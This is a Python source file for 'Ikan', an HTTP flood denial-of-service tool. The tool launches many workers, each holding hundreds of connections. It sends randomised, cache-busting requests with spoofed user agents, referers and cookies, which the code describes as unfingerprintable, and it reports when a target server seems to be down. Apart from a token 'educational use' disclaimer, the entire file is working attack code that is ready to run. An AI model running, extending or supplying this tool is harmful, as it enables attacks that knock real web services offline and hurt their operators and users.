ikan.py

#!/usr/bin/env python3

"""
$Id: $

This tool is a dos tool that is meant to put heavy load on HTTP servers
in order to bring them to their knees by exhausting the resource pool.

This tool is meant for research purposes only
and any malicious usage of this tool is prohibited.

@date 2014-02-18
@version 2.1

@TODO Test in python 3.x

LICENSE:
This software is distributed under the GNU General Public License version 3 (GPLv3)

LEGAL NOTICE:
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
"""

from multiprocessing import Process, Manager, Pool
import urllib.parse, ssl
import sys, getopt, random, time, os
import http.client
HTTPCLIENT = http.client

####
# Config
####
DEBUG = False
SSLVERIFY = True

####
# Constants
####
METHOD_GET = 'get'
METHOD_POST = 'post'
METHOD_RAND = 'random'

JOIN_TIMEOUT = 1.0

DEFAULT_WORKERS = 10
DEFAULT_SOCKETS = 500

IKAN_BANNER = 'Ikan V1 by RynXD <contact@rynxd.link>'

USER_AGENT_PARTS = {
    'os': {
        'linux': {
            'name': ['Linux x86_64', 'Linux i386'],
            'ext': ['X11']
        },
        'windows': {
            'name': ['Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2'],
            'ext': ['WOW64', 'Win64; x64']
        },
        'mac': {
            'name': ['Macintosh'],
            'ext': ['Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10)]
        },
    },
    'platform': {
        'webkit': {
            'name': ['AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30)],
            'details': ['KHTML, like Gecko'],
            'extensions': ['Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10)]
        },
        'iexplorer': {
            'browser_info': {
                'name': ['MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0'],
                'ext_pre': ['compatible', 'Windows; U'],
                'ext_post': ['Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10)]
            }
        },
        'gecko': {
            'name': ['Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30)],
            'details': [],
            'extensions': []
        }
    }
}

####
# Ikan Class
####

class Ikan(object):

    # Counters
    counter = [0, 0]
    last_counter = [0, 0]

    # Containers
    workersQueue = []
    manager = None
    useragents = []

    # Properties
    url = None

    # Options
    nr_workers = DEFAULT_WORKERS
    nr_sockets = DEFAULT_SOCKETS
    method = METHOD_GET

    def __init__(self, url):

        # Set URL
        self.url = url

        # Initialize Manager
        self.manager = Manager()

        # Initialize Counters
        self.counter = self.manager.list((0, 0))


    def exit(self):
        self.stats()
        print("Matiin Ikan")

    def __del__(self):
        self.exit()

    def printHeader(self):

        # Taunt!
        print()
        print(IKAN_BANNER)
        print()

    # Do the fun!
    def fire(self):

        self.printHeader()
        print("Mau mukul rame² ikan pake mode '{0}' ama {1} orang pake {2} koneksi. Pencet CTRL+C buat batalin.".format(self.method, self.nr_workers, self.nr_sockets))

        if DEBUG:
            print("Starting {0} concurrent workers".format(self.nr_workers))

        # Start workers
        for i in range(int(self.nr_workers)):

            try:

                worker = Striker(self.url, self.nr_sockets, self.counter)
                worker.useragents = self.useragents
                worker.method = self.method

                self.workersQueue.append(worker)
                worker.start()
            except Exception:
                error("Gagal mukul ikan {0}".format(i))
                pass

        if DEBUG:
            print("Initiating monitor")
        self.monitor()

    def stats(self):

        try:
            if self.counter[0] > 0 or self.counter[1] > 0:

                print("{0} Berhasil mukul ikan. ({1} Gagal)".format(self.counter[0], self.counter[1]))

                if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
                    print("\tServer may be DOWN!")

                self.last_counter[0] = self.counter[0]
                self.last_counter[1] = self.counter[1]
        except Exception:
            pass # silently ignore

    def monitor(self):
        while len(self.workersQueue) > 0:
            try:
                for worker in self.workersQueue:
                    if worker is not None and worker.is_alive():
                        worker.join(JOIN_TIMEOUT)
                    else:
                        self.workersQueue.remove(worker)

                self.stats()

            except (KeyboardInterrupt, SystemExit):
                print("CTRL+C diterima. Bubarin semua orang")
                for worker in self.workersQueue:
                    try:
                        if DEBUG:
                            print("{0} orang bubar".format(worker.name))
                        #worker.terminate()
                        worker.stop()
                    except Exception:
                        pass # silently ignore
                if DEBUG:
                    raise
                else:
                    pass

####
# Striker Class
####

class Striker(Process):


    # Counters
    request_count = 0
    failed_count = 0

    # Containers
    url = None
    host = None
    port = 80
    ssl = False
    referers = []
    useragents = []
    socks = []
    counter = None
    nr_socks = DEFAULT_SOCKETS

    # Flags
    runnable = True

    # Options
    method = METHOD_GET

    def __init__(self, url, nr_sockets, counter):

        super(Striker, self).__init__()

        self.counter = counter
        self.nr_socks = nr_sockets

        parsedUrl = urllib.parse.urlparse(url)

        if parsedUrl.scheme == 'https':
            self.ssl = True

        self.host = parsedUrl.netloc.split(':')[0]
        self.url = parsedUrl.path

        self.port = parsedUrl.port

        if not self.port:
            self.port = 80 if not self.ssl else 443


        self.referers = [
            'http://www.google.com/',
            'http://www.bing.com/',
            'http://www.baidu.com/',
            'http://www.yandex.com/',
            'http://' + self.host + '/'
            ]


    def __del__(self):
        self.stop()


    #builds random ascii string
    def buildblock(self, size):
        out_str = ''

        _LOWERCASE = list(range(97, 122))
        _UPPERCASE = list(range(65, 90))
        _NUMERIC   = list(range(48, 57))

        validChars = _LOWERCASE + _UPPERCASE + _NUMERIC

        for i in range(0, size):
            a = random.choice(validChars)
            out_str += chr(a)

        return out_str


    def run(self):

        if DEBUG:
            print("Starting worker {0}".format(self.name))

        while self.runnable:

            try:

                for i in range(self.nr_socks):

                    if self.ssl:
                        if SSLVERIFY:
                            c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
                        else:
                            c = HTTPCLIENT.HTTPSConnection(self.host, self.port, context=ssl._create_unverified_context())
                    else:
                        c = HTTPCLIENT.HTTPConnection(self.host, self.port)

                    self.socks.append(c)

                for conn_req in self.socks:

                    (url, headers) = self.createPayload()

                    method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method

                    conn_req.request(method.upper(), url, None, headers)

                for conn_resp in self.socks:

                    resp = conn_resp.getresponse()
                    self.incCounter()

                self.closeConnections()

            except:
                self.incFailed()
                if DEBUG:
                    raise
                else:
                    pass # silently ignore

        if DEBUG:
            print("Worker {0} completed run. Sleeping...".format(self.name))

    def closeConnections(self):
        for conn in self.socks:
            try:
                conn.close()
            except:
                pass # silently ignore


    def createPayload(self):

        req_url, headers = self.generateData()

        random_keys = list(headers.keys())
        random.shuffle(random_keys)
        random_headers = {}

        for header_name in random_keys:
            random_headers[header_name] = headers[header_name]

        return (req_url, random_headers)

    def generateQueryString(self, ammount = 1):

        queryString = []

        for i in range(ammount):

            key = self.buildblock(random.randint(3,10))
            value = self.buildblock(random.randint(3,20))
            element = "{0}={1}".format(key, value)
            queryString.append(element)

        return '&'.join(queryString)


    def generateData(self):

        returnCode = 0
        param_joiner = "?"

        if len(self.url) == 0:
            self.url = '/'

        if self.url.count("?") > 0:
            param_joiner = "&"

        request_url = self.generateRequestUrl(param_joiner)

        http_headers = self.generateRandomHeaders()


        return (request_url, http_headers)

    def generateRequestUrl(self, param_joiner = '?'):

        return self.url + param_joiner + self.generateQueryString(random.randint(1,5))

    def getUserAgent(self):

        if self.useragents:
            return random.choice(self.useragents)

        # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]

        ## Mozilla Version
        mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6

        ## System And Browser Information
        # Choose random OS
        os = USER_AGENT_PARTS['os'][random.choice(list(USER_AGENT_PARTS['os'].keys()))]
        os_name = random.choice(os['name'])
        sysinfo = os_name

        # Choose random platform
        platform = USER_AGENT_PARTS['platform'][random.choice(list(USER_AGENT_PARTS['platform'].keys()))]

        # Get Browser Information if available
        if 'browser_info' in platform and platform['browser_info']:
            browser = platform['browser_info']

            browser_string = random.choice(browser['name'])

            if 'ext_pre' in browser:
                browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)

            sysinfo = "%s; %s" % (browser_string, sysinfo)

            if 'ext_post' in browser:
                sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))


        if 'ext' in os and os['ext']:
            sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))

        ua_string = "%s (%s)" % (mozilla_version, sysinfo)

        if 'name' in platform and platform['name']:
            ua_string = "%s %s" % (ua_string, random.choice(platform['name']))

        if 'details' in platform and platform['details']:
            ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )

        if 'extensions' in platform and platform['extensions']:
            ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))

        return ua_string

    def generateRandomHeaders(self):

        # Random no-cache entries
        noCacheDirectives = ['no-cache', 'max-age=0']
        random.shuffle(noCacheDirectives)
        nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
        noCache = ', '.join(noCacheDirectives[:nrNoCache])

        # Random accept encoding
        acceptEncoding = ['\'\'','*','identity','gzip','deflate']
        random.shuffle(acceptEncoding)
        nrEncodings = random.randint(1,int(len(acceptEncoding)/2))
        roundEncodings = acceptEncoding[:nrEncodings]

        http_headers = {
            'User-Agent': self.getUserAgent(),
            'Cache-Control': noCache,
            'Accept-Encoding': ', '.join(roundEncodings),
            'Connection': 'keep-alive',
            'Keep-Alive': random.randint(1,1000),
            'Host': self.host,
        }

        # Randomly-added headers
        # These headers are optional and are
        # randomly sent thus making the
        # header count random and unfingerprintable
        if random.randrange(2) == 0:
            # Random accept-charset
            acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
            random.shuffle(acceptCharset)
            http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))

        if random.randrange(2) == 0:
            # Random Referer
            url_part = self.buildblock(random.randint(5,10))

            random_referer = random.choice(self.referers) + url_part

            if random.randrange(2) == 0:
                random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))

            http_headers['Referer'] = random_referer

        if random.randrange(2) == 0:
            # Random Content-Trype
            http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])

        if random.randrange(2) == 0:
            # Random Cookie
            http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))

        return http_headers

    # Housekeeping
    def stop(self):
        self.runnable = False
        self.closeConnections()
        self.terminate()

    # Counter Functions
    def incCounter(self):
        try:
            self.counter[0] += 1
        except Exception:
            pass

    def incFailed(self):
        try:
            self.counter[1] += 1
        except Exception:
            pass



####

####
# Other Functions
####

def usage():
    print()
    print('-----------------------------------------------------------------------------------------------------------')
    print()
    print(IKAN_BANNER)
    print()
    print(' USAGE: ./ikan.py <url> [OPTIONS]')
    print()
    print(' OPTIONS:')
    print('\t Flag\t\t\tDescription\t\t\t\t\t\tDefault')
    print('\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)')
    print('\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS))
    print('\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS))
    print('\t -m, --method\t\tHTTP Method to use \'get\' or \'post\'  or \'random\'\t\t(default: get)')
    print('\t -n, --nosslcheck\tDo not verify SSL Certificate\t\t\t\t(default: True)')
    print('\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)')
    print('\t -h, --help\t\tShows this help')
    print()
    print('-----------------------------------------------------------------------------------------------------------')


def error(msg):
    # print help information and exit:
    sys.stderr.write(str(msg+"\n"))
    usage()
    sys.exit(2)

####
# Main
####

def main():

    try:

        if len(sys.argv) < 2:
            error('Please supply at least the URL')

        url = sys.argv[1]

        if url == '-h':
            usage()
            sys.exit()

        if url[0:4].lower() != 'http':
            error("URL nya Invalid kocak")

        if url == None:
            error("URL ga dukung")

        opts, args = getopt.getopt(sys.argv[2:], "ndhw:s:m:u:", ["nosslcheck", "debug", "help", "workers", "sockets", "method", "useragents" ])

        workers = DEFAULT_WORKERS
        socks = DEFAULT_SOCKETS
        method = METHOD_GET

        uas_file = None
        useragents = []

        for o, a in opts:
            if o in ("-h", "--help"):
                usage()
                sys.exit()
            elif o in ("-u", "--useragents"):
                uas_file = a
            elif o in ("-s", "--sockets"):
                socks = int(a)
            elif o in ("-w", "--workers"):
                workers = int(a)
            elif o in ("-d", "--debug"):
                global DEBUG
                DEBUG = True
            elif o in ("-n", "--nosslcheck"):
                global SSLVERIFY
                SSLVERIFY = False
            elif o in ("-m", "--method"):
                if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
                    method = a
                else:
                    error("method {0} is invalid".format(a))
            else:
                error("option '"+o+"' doesn't exists")


        if uas_file:
            try:
                with open(uas_file) as f:
                    useragents = f.readlines()
            except EnvironmentError:
                error("cannot read file {0}".format(uas_file))

        ikan = Ikan(url)
        ikan.useragents = useragents
        ikan.nr_workers = workers
        ikan.method = method
        ikan.nr_sockets = socks

        ikan.fire()

    except getopt.GetoptError as err:

        # print help information and exit:
        sys.stderr.write(str(err))
        usage()
        sys.exit(2)

if __name__ == "__main__":
    main()